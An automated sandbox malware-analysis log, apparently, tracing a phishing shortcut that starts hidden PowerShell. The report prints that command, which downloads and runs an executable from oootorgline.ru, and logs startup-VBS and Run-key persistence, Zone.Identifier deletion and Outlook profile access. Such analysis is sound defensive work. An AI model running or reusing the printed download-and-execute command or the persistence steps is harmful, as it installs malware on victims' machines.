Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: RTGS-WB-ABS-240730-NEW.lnk

LNK file: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source:	Binary string: RegSvcs.pdb, source: aWUFv.exe, 0000000D.00000000.2622184453.0000000000502000.00000002.00000001.01000000.00000009.sdmp, aWUFv.exe.8.dr
Source:	Binary string: wntdll.pdbUGP source: recomplaint.exe, 00000007.00000003.2386568009.0000000004530000.00000004.00001000.00020000.00000000.sdmp, recomplaint.exe, 00000007.00000003.2387078782.00000000046D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: recomplaint.exe, 00000007.00000003.2386568009.0000000004530000.00000004.00001000.00020000.00000000.sdmp, recomplaint.exe, 00000007.00000003.2387078782.00000000046D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: aWUFv.exe, 0000000D.00000000.2622184453.0000000000502000.00000002.00000001.01000000.00000009.sdmp, aWUFv.exe.8.dr

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }"

Source: recomplaint.exe.3.dr	Static PE information: real checksum: 0xa961f should be: 0x1473cb
Source: file.exe.0.dr	Static PE information: real checksum: 0xa961f should be: 0x1473cb

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01670C6D push edi; retf	8_2_01670C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DE0CCC push edi; retf	12_2_00DE0C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DE0C6D push edi; retf	12_2_00DE0C7A

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file.exe	Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs

Jump to dropped file

Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs

Jump to behavior

Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run aWUFv			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run aWUFv			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
